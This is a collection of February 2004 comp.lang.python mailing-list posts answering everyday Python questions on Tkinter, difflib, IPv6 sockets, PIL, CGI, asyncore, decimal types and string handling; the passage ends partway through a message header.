[Peter Hansen]
> You missed the point I was trying to make Martin, though perhaps it
> is clear now from other messages.
> 
> Basically, if I tried to write an XML parser, and distributed it as
> such, and you found that it didn't handle this use case, you would
> be somewhat unfair to write an article claiming that my XML parser was
> in fact not an XML parser.  It has a bug in it, that's all.  I'd fix it!

I think that the point Martin is making (and one which I wouldn't dare
disagree with him on ;-) is that the unwillingness to comply 100% with
the XML spec was a *design decision* on behalf of the PyRXP authors,
not a bug.

Choosing to actively ignore parts of a standard eliminates the right
to claim standards-compliance, IMHO. Standards are there for the
express purpose of encouraging interoperability. If a software
designer wants to sacrifice a part of that standard for performance
reasons, or reasons of code complexity, testing difficulty, etc, then
their software is not a complete implementation of the standard, and
should not claim to be so.

happy-with-the-real-but-possibly-flawed-python-interpreters-i-have-ly
y'rs,

-- 
alan kennedy
------------------------------------------------------
check http headers here: http://xhaus.com/headers
email alan:              http://xhaus.com/contact/alan


From __peter__ at web.de  Wed Feb 25 04:04:28 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 25 Feb 2004 10:04:28 +0100
Subject: How to link 3 Tkinter OptionMenu lists?
References: <mailman.85.1077692778.8594.python-list@python.org>
Message-ID: <c1hoes$pfm$03$1@news.t-online.com>

Stewart Midwinter wrote:

> I would like to link the contents of three OptionMenu lists. When I select
> an item from the first list (call it continents), the contents of the 2nd
> list (call it countries) would update. And in turn the contents of the 3rd
> list (call it states would be updated by a change in the 2nd list.  If 

The items option is only available for OptionMenu.__init__(). To change the
items later, use setitems() instead. I suggest that you use separate
command methods for all three OptionMenu widgets. With what I think are
minimal changes:

def _getContinentSelection(self, choice):
    index = continentList.index(self.var1.get())
    self.method2_menu.setitems(countryList[index], 0)
    self._getCountrySelection()

def _getCountrySelection(self, choice=None):
    continentIndex = continentList.index(self.var1.get())
    countries = countryList[continentIndex]
    index = countries.index(self.var2.get())
    self.method3_menu.setitems(stateList[continentIndex][index], 0)

def _getStateSelection(self, choice):
    pass # your code

I think the lookup mechanism could be improved by using nested dictionaries.

Peter



From SBrunning at trisystems.co.uk  Wed Feb  4 05:53:59 2004
From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk)
Date: Wed, 4 Feb 2004 10:53:59 -0000 
Subject: diff module
Message-ID: <31575A892FF6D1118F5800600846864D01200F1F@intrepid>

> From: Guyon Mor?e [mailto:gumuz at looze.net]
> does anybody know of a python module which allows me to 
> compare two pieces
> of 'text' and get the results in a 'diff' way, so I can build 
> a nice gui
> around it?

The standard library includes a 'difflib' module, which should do what you
want. It's newish, though: if you don't have it, it's probably because you
are running an old version of Python.

Cheers,
Simon B.
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/
--LongSig




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From tjreedy at udel.edu  Wed Feb 18 09:37:17 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 18 Feb 2004 09:37:17 -0500
Subject: Maintaining a list
References: <b4a8ffb6.0402131633.1cb220d6@posting.google.com>
	<403311F6.2070202@yahoo.com.au>
Message-ID: <9pOdnccTQ6YB5a7dRVn-iQ@comcast.com>


"Steve" <dippyd at yahoo.com.au> wrote in message
news:403311F6.2070202 at yahoo.com.au...
> How about using a global variable? Define a variable in
> your main program:
>
> mylist = []
>
> def myroutine(x)
>      global mylist

Stylistic note:
Since the global name mylist is not rebound, this declaration is not
needed.
Since the global name mylist must not be rebound to meet its purpose,
I think the declaration positively should not be present, so it cannot be
rebound,
even by accident.  Documenting the read-only use of a global with a comment
(especially in a much longer function) is a different matter, as with
     # global mylist

>      mylist.append(x)

This mutates the object bound to 'mylist' without changing the binding.

>      print mylist
>      return None

Terry J. Reedy




From stephene at sjsoft.com  Sat Feb 21 09:14:10 2004
From: stephene at sjsoft.com (stephene at sjsoft.com)
Date: Sat, 21 Feb 2004 09:14:10 -0500
Subject: problems with using the Compiler module
Message-ID: <313220-220042621141410354@M2W064.mail2web.com>

Hi

I am wanting to create a simple code inspector and the Compiler module
seems to be a good starting point. However there seems to be either a
problem with the module, or with the way that I'm using it.

once I get the AST, I want to traverse the tree pulling out certain
information. For this I wanted to use node.getType() to deal with a
specific type of node correctly.

But all that node.getType() ever returns is None. Is this method
depreciated? If not then why will it only return None?

Also, does anyone know of any extensions to the Compiler module to simplify
certain actions, such as searching for all functions called within a
function?

Thanks for any help
Stephen Emslie

--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .





From guy.flowers at Machineworks.com  Tue Feb 24 09:59:16 2004
From: guy.flowers at Machineworks.com (Guy)
Date: 24 Feb 2004 06:59:16 -0800
Subject: Memory Leak
Message-ID: <f3ff61d9.0402240659.742d2d2a@posting.google.com>

Hi

It might take me a little time to explain this but here goes.
Firstly I'm not using the latest upto date python releases so my first
plan is to try more upto date rels of python and win32 libs, as this
has fixed problems for me in the past (Don't like doing this as it
usally breaks stuff and sys admin are slow to update software,
although they do a cracking job, just covering my back.)

I've created a build script for my companies product, the product is
in c and can be built using makefiles and gmake and dsps if using
win32. The script seems to work ok, it builds by setting processes off
and then it returns the built libs exe to a network area.

The problems occure when I build more than one flavour of the product,
(there are 16 possible flavours and about 50 modules which get turned
into libs and exe's  this means theres 800 processes to be set off one
after the other or if using a clean build 1600 process and thats just
for win32, to build one flavour it takes about 40 mins on my comp.)

When using the build script it keeps logs of what its built and
records all output from the process all these python objs and lists
are destroyed by using del to try and free up memory, this never seems
to have that much effect the memory just keeps getting used up until
usally the script or python crashes due to the lack of mem.

Sometimes for no reason the mem that python uses seem to purge itself
and start a fresh, I don't know why this is or how to control it.

I also don't think the del is working, not sure.

The script itself is made up of my code, python, python win32 libs and
a 3rd party module off the internet which controls the processes
(which has been of great help)

I just wondering if anybody can give me any ideas about whats going on
here, or maybe some memory purge commands or memory dianosics so I can
see which python objs are using all the mem.

TIA
Guy


From john.burton at jbmail.com  Sun Feb 15 15:17:13 2004
From: john.burton at jbmail.com (John Burton)
Date: Sun, 15 Feb 2004 20:17:13 -0000
Subject: IPv6 question
References: <9r14g1-1vu.ln1@neon.jbmail.com> <uh24g1-40v.ln1@neon.jbmail.com>
	<c0oc6j$592$01$1@news.t-online.com>
	<hjq4g1-1c1.ln1@neon.jbmail.com>
	<c0oiqv$knm$00$1@news.t-online.com>
Message-ID: <ko05g1-oj2.ln1@neon.jbmail.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message
news:c0oiqv$knm$00$1 at news.t-online.com...
> John Burton wrote:
> > I've got a horrible feeling it doesn't work like this on windows though
> > (my python build on windows doesn't seem to support ipv6 so I can't
> > try it)
>
> If you want to try IPv6 support on Windows, you can use a Python 2.4
> snapshot I built, at
>
> http://www.dcl.hpi.uni-potsdam.de/home/loewis/python2.4.0.12421.msi
>
> If you don't want this snapshot to override file associations, make
> sure you check the Advanced dialog.

Thanks! I'll take a look.




From tjreedy at udel.edu  Wed Feb 25 11:38:25 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 25 Feb 2004 11:38:25 -0500
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake><480m30hd68ncg81if70n81h8tict03oda3@4ax.com>	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl><mailman.57.1077648520.8594.python-list@python.org>
	<23891c90.0402250227.7d07849f@posting.google.com>
Message-ID: <c1ij21$21g$1@sea.gmane.org>


"Paul Boddie" <paul at boddie.net> wrote in message
news:23891c90.0402250227.7d07849f at posting.google.com...
> "Terry Reedy" <tjreedy at udel.edu> wrote in message
news:<mailman.57.1077648520.8594.python-list at python.org>...
> I guess Microsoft aren't up for yet more protracted legal action
> involving Sun, so they go for the small guy instead.

Exactly

> > It is a complement to Julian and Robin that MS noticed them enough to
> > threaten and negotiate with them.  Also that they did not just cave but
> > negotiated a 6 month transition period and $ for transition costs.
>
> Microsoft deserves no compliments whatsoever.
....
> So, how is it a compliment that a corporation waits several years
> before jumping on an now-established project whose name doesn't really
> infringe on any reasonable trademark? How does threatening behaviour
> deserve any compliment whatsoever?

It does not and I did not and I do not see how you could think so from my
praising Julian and Robin.

Terry J. Reedy







From lbates at swamisoft.com  Mon Feb 23 13:29:52 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Mon, 23 Feb 2004 12:29:52 -0600
Subject: Please help me w/ Python Imaging Libarary
References: <Xns94987D3E2CD21adamdragonwisardnet@199.45.49.11>
Message-ID: <bO2dnQ5IXdE826fdRVn-ug@comcast.com>

My documentation on PIL shows im.paste(image, box)
as well as an example with im.paste(image, box, mask) (page 6)

Try it without the mask or define a mask that is
a proper list of points (as in the example).

-Larry

----------------------------------------------------------
"Dragon A. Wisard" <adam at dragonwisard.net> wrote in message
news:Xns94987D3E2CD21adamdragonwisardnet at 199.45.49.11...
> If someone here has experince w/ PIL please tell me how im.paste(image,
> box,mask) works. I don't have much experience working w/ image files, so I
> don't know exactly what I'm doing, but I keep getting a Bad Mask error no
> matter what I put in as the Mask. I've been reading the pil-handbook.pdf
> and it doesn't help me at all.




From mwh at python.net  Mon Feb 23 07:12:28 2004
From: mwh at python.net (Michael Hudson)
Date: Mon, 23 Feb 2004 12:12:28 GMT
Subject: Nostalgic instruction sequences (Re: Python Productivity Gain?)
References: <mailman.16.1077122875.27104.python-list@python.org>
	<403687e1$1@nntp0.pdx.net> <40368BF3.2FE82B1A@engcorp.com>
	<c1bml2$1h2f64$1@ID-169208.news.uni-berlin.de>
Message-ID: <m3smh2gfkk.fsf@pc150.maths.bris.ac.uk>

"Greg Ewing (using news.cis.dfn.de)" <wmwd2zz02 at sneakemail.com> writes:

> Peter Hansen wrote:
> > All right, machine language!  Was that with actual toggle input, or
> > were you hand-translating from assembly and entering hex on a
> > keypad?
> > I remember being able to write small print routines on the Commodores
> > in straight machine language... hmm..  A9 80 20 FF D2 40 anyone? :-)
> 
> Or how about
> 
>     08 C4 08 35 C4 00 31
> 
> ...a sequence that is forever burned into my brain, being what
> almost every program for my first computer began with.
> 

SETW 0 a9f4
G 0

anyone?  (memory said a9f0 first, corrected by google).

Cheers,
mwh

-- 
  Presumably pronging in the wrong place zogs it.
                                        -- Aldabra Stoddart, ucam.chat


From jcb at iteris.com  Wed Feb 25 02:08:06 2004
From: jcb at iteris.com (MetalOne)
Date: 24 Feb 2004 23:08:06 -0800
Subject: string.split bug?
Message-ID: <92c59a2c.0402242308.35f55d4a@posting.google.com>

string.split("") ==> []
string.split("",",") ==> ['']

I did not expect these to have different outputs.

I have a string with comma delimited numbers.
There can be zero or more numbers in the string
s = "0x41, 0x42"

I wanted to do
numbers = map(lambda x: int(x,16), string.split(s,","))

However, when there are no numbers, this generates an error.


From spam.buster at web.de  Tue Feb  3 08:55:33 2004
From: spam.buster at web.de (Lars Behrens)
Date: Tue, 03 Feb 2004 14:55:33 +0100
Subject: What's the matter with pydoc.org?
Message-ID: <bvo98e$tqnei$1@ID-95936.news.uni-berlin.de>

Can someone please check if pydoc.org works ok? I see only strange stuff...

Is that link ok?

http://pydoc.org/

Cheerz

Lars


From johng2001 at rediffmail.com  Sat Feb 21 13:10:59 2004
From: johng2001 at rediffmail.com (John)
Date: 21 Feb 2004 10:10:59 -0800
Subject: Session CGI!
Message-ID: <ba129ce7.0402211010.231375d7@posting.google.com>

I need a web app framework in python with support for session
management (ala ASP/PHP). However, unlike some modules I found, I need
to integrate with an existing Apache install without opening any new
application server ports (not my server). Is there such a module which
I can just toss it into pythonpath and get to work?


From Bill.Scherer at verizonwireless.com  Tue Feb 10 08:50:05 2004
From: Bill.Scherer at verizonwireless.com (Bill Scherer)
Date: Tue, 10 Feb 2004 08:50:05 -0500
Subject: Async Client with 1K connections?
In-Reply-To: <65779ce6.0402092357.73df9783@posting.google.com>
References: <65779ce6.0402092357.73df9783@posting.google.com>
Message-ID: <4028E18D.5070507@VerizonWireless.com>

[P&M]

William Chang wrote:

>Before I take the plunge, I'd appreciate any advice on the feasibility
>and degree of difficulty of the following...
>
>I need extremely efficient and robust _client_ software for some
>common protocols like HTTP and POP3, supporting 1,000 simultaneous
>independent connections 
>
I've got an httpd stress tool that uses asyncore.  I can run up 1020 
independent simulated clients on my RH9 box(1x3Ghz cpu, 1GB ram), 
driving at over 600 requests per second against a modest (2x1Ghz) 
webserver, just pulling a static page.

>and commensurate network throughput.  
>
That could vary a lot, couldn't it?

>The data get written to files or sockets, so no GUI needed.
>
Writing to files could slow you down a lot, depending on how much needs 
to be written, how fast your disks are,  how you go about getting the 
data from the async client to the file, etc..  Much of the same goes for 
sockets, too.

>I am not a Python programmer :-( but I am a "fan" :-) and I have been
>reading about asyncore/Medusa/Twisted -- which would be my best bet?
>
I should think all can do the job for you, depending on the details 
which you haven't told us.

>Any advantage to using a particular unix/version -- Linux 32/64bit? 
>FreeBSD 4/5? Solaris Sun/Intel?
>
>If anyone who is expert in this area may be available, please contact
>me at "w c h a n g at a f f i n i dot com".  (I'm in the SF Bay Area.)
>
>My background is C -- I was the principal author of Infoseek (RIP), 
>including the Python modularization that was the core of Ultraseek aka
>Inktomi Enterprise Search aka Verity.  (For those of you old enough to
>remember!)  Unfortunately, I moved upstairs and never did much Python.
>
>Thanks in advance,  --William
>  
>




From drew.pihera at gtri.gatech.edu  Wed Feb  4 14:48:26 2004
From: drew.pihera at gtri.gatech.edu (Drew Pihera)
Date: Wed, 04 Feb 2004 14:48:26 -0500
Subject: Creating an OLE server document in Python (MFC/OLE/COM/Python
	newbie)
Message-ID: <opr2u2m0zwnp9ya1@news.gatech.edu>

I'm putting together a program that has to implement an OLE document 
server (the document class should subclass COleServerDoc).
Our team wants to do this in Python rather than Visual Studio (so the GUI 
is not the only part in C++). Though I see the COleDocument class in 
pythonwin, I do not see the COleServerDoc. I was wondering if anyone had 
experience with this. Thanks in advance.



From aahz at pythoncraft.com  Thu Feb  5 09:09:26 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 09:09:26 -0500
Subject: PEP 327: Decimal Data Type
References: <mailman.1036.1075467073.12720.python-list@python.org>
	<6ltk10h30riel0lghd18t5unjco2g26spi@4ax.com>
	<401B1A87.639CD971@easystreet.com>
Message-ID: <bvtiqm$8mu$1@panix2.panix.com>

In article <401B1A87.639CD971 at easystreet.com>,  <achrist at easystreet.com> wrote:
>
>If python adds decimal data, it probably ought to be consistent with C
>and C++.  Otherwise, the C and C++ guys will have a dreadful time
>writing emulation code to run on computers built to support python.

Read the PEP; Python's proposed decimal type is based on the existing
decimal standard.  If C/C++ *don't* follow the standard, that's their
problem.  BTW, Java uses the standard.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From fumanchu at amor.org  Tue Feb 24 11:16:42 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 24 Feb 2004 08:16:42 -0800
Subject: htmlentities, htmlspecialchars
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D9A@opus.amorhq.net>

Gandalf wrote:
> Hi all! I'm writting a web application using IIS and Python. I would
> like to have the Python equvalient of the PHP functions
> 'htmlentities'
> and 'htmlspecialchars'. E.g. to convert
>
>   a'   >>>>  aacute;
>   ?  >>>>    otilde;
>
> and the others. I looked for them in many libraries (urllib, htmllib,
> urlparse etc.) but I could only find the 'urlencode'
> function. I could
> not find anything on google  ('python htmlentities
> equvalent'). Please
> help me find it out. Thanks in advance.

http://www.python.org/doc/current/lib/module-htmlentitydefs.html is used by htmllib. Try codepoint2name (new in 2.3).


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org 



From martin at v.loewis.de  Tue Feb 17 16:41:12 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 17 Feb 2004 22:41:12 +0100
Subject: IPv6 question
In-Reply-To: <gu465e5lb9v.fsf@ee.oulu.fi>
References: <9r14g1-1vu.ln1@neon.jbmail.com> <uh24g1-40v.ln1@neon.jbmail.com>
	<c0oc6j$592$01$1@news.t-online.com>
	<hjq4g1-1c1.ln1@neon.jbmail.com>
	<c0oiqv$knm$00$1@news.t-online.com>
	<t6n7g1-oj4.ln1@neon.jbmail.com> <gu465e5lb9v.fsf@ee.oulu.fi>
Message-ID: <c0u1pm$lt4$05$1@news.t-online.com>

Erno Kuusela wrote:
> you can control this using the IPV6_V6ONLY socket option, like so:
> 
>   s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
> 
> unfortunately python 2.3.3 doesn't yet make that constant available
> though it is fixed in cvs. you could glean the value from the headers.
> 
> the default setting has been in flux on various platforms recently,
> all the more reason to want to always set it explicitly...

I think the OP would prefer to have a single socket for both protocol
types, in which case he should set it to 1 on windows, right?

Regards,
Martin



From pythongnome at hotmail.com  Thu Feb 26 16:37:26 2004
From: pythongnome at hotmail.com (Lucas Raab)
Date: Thu, 26 Feb 2004 21:37:26 GMT
Subject: PythonCOM
Message-ID: <qGt%b.21733$W74.3574@newsread1.news.atl.earthlink.net>

Are there any good tutorials to Mark Hammond's win32all collection?? I'm
looking into controlling MS Office programs.

TIA




From gabor at z10n.net  Wed Feb 25 17:25:31 2004
From: gabor at z10n.net (gabor)
Date: Wed, 25 Feb 2004 23:25:31 +0100
Subject: simple cgi 'system'?
Message-ID: <1077747931.2158.9.camel@wintermute.atriaky.sk>

hi,

i'm developing an application which many times downloads differents
stuff from http.

for this i'd need a quick way to create a cgi to for example return
always error 503. so that i can test my program if it handles this error
correctly or not.

because the program is in java, i usually create a small servlet, but i
thought that maybe python would be easier.

what is the easiest way to create a cgi?
i know about the cgi module, but most of times i need something a little
higher level.

usually i only want to specify for example that the cgi should fail with
error 503, i don't want to print all the header stuff manually.

any ideas?

gabor




From aahz at pythoncraft.com  Wed Feb 11 17:18:12 2004
From: aahz at pythoncraft.com (Aahz)
Date: 11 Feb 2004 17:18:12 -0500
Subject: sets and subsets
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <zcxWb.464065$JQ1.270296@pd7tw1no>
	<4gxWb.39659$P17.14674@fed1read03> <c0e890$6hu$1@solaris.cc.vt.edu>
Message-ID: <c0e9n4$6gf$1@panix3.panix.com>

[content at *bottom*]

In article <c0e890$6hu$1 at solaris.cc.vt.edu>,
Bart Nessux  <bart_nessux at hotmail.com> wrote:
>Works great too. Thanks to all for the info.
>
>Amy G wrote:
>> There you go... list comprehension.  That is definatly nicer to look at.
>> 
>> 
>> "Elaine Jackson" <elainejackson7355 at home.com> wrote in message
>> news:zcxWb.464065$JQ1.270296 at pd7tw1no...
>> 
>>>b=[x for x in b if x not in c]
>>>
>>>"Bart Nessux" <bart_nessux at hotmail.com> wrote in message
>>>news:c0e4g3$r1$1 at solaris.cc.vt.edu...
>>>| By using lists, I can create sets of number. Suppose I have three lists.
>>>| One list is the super-set, one is a set that contains all the numbers
>>>| (just like the super-set) and the last is sub-set of the super-set. For
>>>| example:
>>>|
>>>| a = [1,2,3,4,5] # The super-set.
>>>| b = [1,2,3,4,5] # Looks just like the super-set, but it's not.
>>>| c = [2,4] # A sub-set
>>>|
>>>| I'd like to remove 2 & 4 from set b BECAUSE they are present in set c...
>>>| this would make the sets look like this:
>>>|
>>>| a = [1,2,3,4,5]
>>>| b = [1,3,5]
>>>| c = [2,4]
>>>|
>>>| How do I test set c to find what it contains and then look at set b to
>>>| see if it contains any of those same numbers, and if so, remove them.
>>>|

A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?
A: Top-posting.
Q: What is the most annoying thing on usenet?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From bart_nessux at hotmail.com  Wed Feb  4 08:15:47 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 04 Feb 2004 08:15:47 -0500
Subject: stopping a threaded script
Message-ID: <bvqra3$2eu$1@solaris.cc.vt.edu>

When testing scripts, I normally type 'ctrl' combined with the key 'c' 
to abort the script, however, this doesn't work with scripts that are 
threaded. What's the proper way to abort a threaded program?



From jdhunter at ace.bsd.uchicago.edu  Sat Feb  7 00:19:28 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Fri, 06 Feb 2004 23:19:28 -0600
Subject: Python can't divide??!?!
In-Reply-To: <87y8rgjlue.fsf@hydra.localdomain> (kbk@shore.net's message of
	"Fri, 06 Feb 2004 14:58:50 GMT")
References: <mailman.1252.1076003166.12720.python-list@python.org>
	<87y8rgjlue.fsf@hydra.localdomain>
Message-ID: <m2fzdneaan.fsf@mother.paradise.lost>

>>>>> "Kurt" == Kurt B Kaiser <kbk at shore.net> writes:


This prints a float
    >>> print (3.0 / 5)
    0.6

This prints a tuple of floats
    >>> print (3.0 / 5, 3.0 / 5)
    (0.59999999999999998, 0.59999999999999998)

This prints a (length 1) tuple of floats
    >>> print (3.0 / 5, )
    (0.59999999999999998,)

The thing that may be tripping you up is that (val) is simply the
value, and (val,) is a tuple containing the value as the first
element.  As for printing a value versus a tuple of values, that's the
__repr__ versus __str__ distinction previous posters have referred to.

JDH





From peter at engcorp.com  Mon Feb 16 09:26:53 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 16 Feb 2004 09:26:53 -0500
Subject: A Python equivalent of cfengine?
References: <zzxXb.3076$tU6.4660@reggie.win.bright.net>
Message-ID: <4030D32D.1304B34E@engcorp.com>

Kent Tenney wrote:
> 
> Howdy,
> 
> Any recommendations for automating
> administrative tasks using Python?

Yes, do it!  I strongly recommend Python for automating administrative tasks.

(You might improve the question with a little more context if you wish better
responses.)

-Peter


From slzatz at hotmail.com  Mon Feb 23 13:20:21 2004
From: slzatz at hotmail.com (Steve Zatz)
Date: 23 Feb 2004 10:20:21 -0800
Subject: MySQLDB - generating "...not in (1,2,3)" from Python list ?
References: <mailman.197.1077534282.27104.python-list@python.org>
Message-ID: <6747bc9d.0402231020.6ab1cdbb@posting.google.com>

Don't you just want:

cursor.execute("select * from T where C1 not in (%s,%s,%s)",params)

The DBAPI should be fine with params being a python list of integers
(as long as there are three of them).


From FBatista at uniFON.com.ar  Wed Feb 11 14:36:08 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 11 Feb 2004 16:36:08 -0300
Subject: How to avoid "f.close" (no parens) bug?
Message-ID: <A128D751272CD411BC9200508BC2194D033835F0@escpl.tcp.com.ar>

Dave Kuhlman wrote:

#- Here is an example:
#- 
#-     def test():
#-         myobject = MyClass()
#-         clean = myobject.my_really_long_method_name
#-         clean(a)
#-         clean(b)
#-         clean(c)
#-         clean(d)
#-         o
#-         o
#-         o

Wrong. You don't have "myobject.my_really_long_method_name" alone, you have
an assignment here.


#- Another example:
#- 
#-     def test(meth):
#-         o
#-         o
#-         o
#-         meth(a)
#-         o
#-         o
#-         o
#- 
#-     myobject = MyClass()
#-     test(myobject.some_method)
#-     test(myobject.some_other_method)
#- 
#- In this example, we've used a method as a parameter.

But you're using it in a function call! It's not alone!

.	Facundo



From jjl at pobox.com  Sun Feb  1 19:29:56 2004
From: jjl at pobox.com (John J. Lee)
Date: 02 Feb 2004 00:29:56 +0000
Subject: QT usage confusion
References: <40069912$0$251$4d4ebb8e@news.nl.uu.net>
	<bu6k89$bav$1@graf.cs.uni-magdeburg.de>
	<ef3269df.0401311838.516b152b@posting.google.com>
Message-ID: <87k736iarf.fsf@pobox.com>

codeapocalypse at msn.com (Brian) writes:
[...]
> Personally, I'm waiting to hear if he'll decide to support (wrap)
> ActiveQt, the Qt module for support of Microsoft's ActiveX components.
>  It might then be possible to convince my work mgmt. to buy a slew of
> BlackAdder copies.  ;)
[...]

Let him (Phil) know that!  You never know, might be the final push he
needs to do it.


John


From jonas at jonasgalvez.com  Sat Feb 21 04:07:30 2004
From: jonas at jonasgalvez.com (Jonas Galvez)
Date: Sat, 21 Feb 2004 06:07:30 -0300
Subject: Linebreak problem on the interactive interpreter Win2k
References: <c14ccl$hvb$1@sea.gmane.org>
	<LNBBLJKPBEHFEDALKOLCAEMGJAAB.tim.one@comcast.net>
Message-ID: <c177mk$81l$1@sea.gmane.org>

> [Tim Peters]
> BTW, I would *expect* what you're seeing if (and only if) you have
> an environment variable set with name PYTHONUNBUFFERED (same as
> Python's -u option). That can't be used with interactive mode on
> Windows.

Thank you so much for your reply. That was it. I set that environment
variable following mod_python's instalation instructions, but didn't
see any mention to problems it could cause.

I'm gonna double check it and maybe e-mail mod_python guys so that
they add a note about this on the documentation.


Thanks again,

Jonas







From hugh at brokenpipefilms.com  Fri Feb  6 09:39:46 2004
From: hugh at brokenpipefilms.com (Hugh Macdonald)
Date: 6 Feb 2004 06:39:46 -0800
Subject: Difference between str and string
Message-ID: <3cc4824d.0402060639.c8c4ad0@posting.google.com>

I've been seeing some somewhat strange behaviour in a python script
that I'm writing and was wondering whether someone could help me out
here....

I have the following code:

path = getPath(bundle, item)
path = hub.parseString(path)

getPath is a function that returns a string, and hub.parseString is an
external C++ function that also returns a string..

When I run this at the moment, it gives:

TypeError: argument 1 must be string without null bytes, not str

However, if I add a print statement somewhere else in the code
completely (after this is executed, and printing out a different
variable altogether) it works (but only with some - it would only work
if I had both of the lines:

print "Details:"
print details

but it wouldn't work with just one...)


Anyway, any idea what I'm doing wrong or what python's doing wrong?

For the moment, I've got around this by doing:

path = hub.parseString((StringIO.StringIO(path)).getvalue())

Which works, but I don't like doing it...

any suggestions would be most welcome...

--
Hugh Macdonald


From crescent_au at yahoo.com  Sat Feb  7 08:36:11 2004
From: crescent_au at yahoo.com (Ben)
Date: 7 Feb 2004 05:36:11 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<bvv37j$8or$1@news.service.uci.edu>
	<d99e1341.0402061439.1f8cebc9@posting.google.com>
	<c01p9a$olv$1@news.service.uci.edu>
Message-ID: <d99e1341.0402070536.25157d73@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c01p9a$olv$1 at news.service.uci.edu>...
> >>Option 1:
> >>Purchase a mac.
> >>Get a .mac account.
> >>Use iPhoto.
>  
> > No way!! I don't even consider this as an option. I was asking about
> > "technologies" and "writing scripts", NOT about purchasing a machine!
>  
> >>Option 2:
> >>Purchase some books at your local bookstore that explain what each of 
> >>these technologies do.
>  
> > This is very possible.. but I can't afford to buy "some" books, that's
> > why I'm using this post and google ;)
> 
> 
> Ben,
> 
> You missed the point of my post.  If you are having problems with 
> acronyms, then you likely lack the experience and/or the self discipline 
> to build your own photo album software to make it happen.
> 
> I would suggest you download a pre-built piece of software that will do 
> it for you.  It seems like Gallery (http://gallery.menalto.com/) would 
> be just fine.
> 
> Good luck.
>   - Josiah

Thanx for suggestions but I'm not having problems with acronyms and I
believe I have skills to learn something new if needed... That's why
I'm trying.. I just wanted to find out which technology suits my needs
the best... I don't want to learn everything out there in detail just
to create a website. That's why I'm using this post to find out what
people say about these technologies depending on their own
experiences. Some people are ASP experts, some are PHP and the others
are JSP... The idea is to hear from people with different skills, so
that it will help me to make my own choice!!! I will make my own
gallery even if it takes me 2 years to do it! That gives me
satisfaction!!

Ben


From juanlu38 at hotmail.com  Thu Feb  5 11:55:45 2004
From: juanlu38 at hotmail.com (Juan Luis Medina)
Date: 5 Feb 2004 08:55:45 -0800
Subject: Configuring the serial port
Message-ID: <f64d4f3d.0402050855.779d04a9@posting.google.com>

Hello all, I am working with Python over Linux since some months ago,
and Im not still very experienced with all this.

I would like to configure the serial port using Python. In order to do
this, I know there are some functions under termios module which allow
me to do it (i.e. termios.tcgetath(fd)), but I dont know how to get
the file descriptor to this 'special' file.

I have tried to get the fd using open('/dev/ttyS1','r') but it doesnt
work out.

Do you know if I am in the right way to do the task? is there
something missing here?

Any post will be of great help, thanks in advance,

Juan Luis Medina


From pythonguy at Hotpop.com  Wed Feb 11 07:13:53 2004
From: pythonguy at Hotpop.com (Anand Pillai)
Date: 11 Feb 2004 04:13:53 -0800
Subject: When Pythons Attack (article)
References: <mailman.1425.1076431157.12720.python-list@python.org>
Message-ID: <84fc4588.0402110413.133d97ba@posting.google.com>

Great article indeed...

A small suggestion. Perhaps you could continue the article
as a series. In the next edition you could add more "gotchas"
like the performance problem with string concatenation and
replacing it with "".join(...) paradigm, gotchas with
anonymous functions using lambdas in list comprehensions
w.r.t performance etc.

Alex Martelli does a decent job of listing some performance
hacks in his nutshell, but it would be great if this is
summarized as an Internet article somewhere. You would be
the right person.

-Anand B Pillai,
Python Hobbyist/Consultant,
Bangalore, INDIA.


"Robert Brewer" <fumanchu at amor.org> wrote in message news:<mailman.1425.1076431157.12720.python-list at python.org>...
> Mark wrote:
> > O'Reilly just posted an article I wrote,
> > which describes the most common mistakes 
> > made by Python beginners.  It's available
> > at this direct link:
> > 
> > http://www.onlamp.com/pub/a/python/2004/02/05/learn python.html
> 
> which, besides being a stellar article, starts with the gem:
> 
> "Python may be one of the simplest and most flexible programming
> languages out there, but it is still a programming language. It still
> has syntax, datatypes, and the occasional dark corner inhabited by
> sorcerers named Tim."
> 
> QOTW, ROFL, etc...
> 
> Nice work, Mark!
> 
> 
> Robert Brewer
> MIS
> Amor Ministries
> fumanchu at amor.org


From grey at despair.dmiyu.org  Fri Feb 27 17:32:25 2004
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Fri, 27 Feb 2004 22:32:25 GMT
Subject: os.walk walks too much
References: <mailman.96.1077712778.8594.python-list@python.org>
	<c1i8a1$gnj$01$1@news.t-online.com>
	<mailman.131.1077737502.8594.python-list@python.org>
	<c1j2pp$9r0$06$1@news.t-online.com> <slrnc3qn6c.156.grey@dmiyu.org>
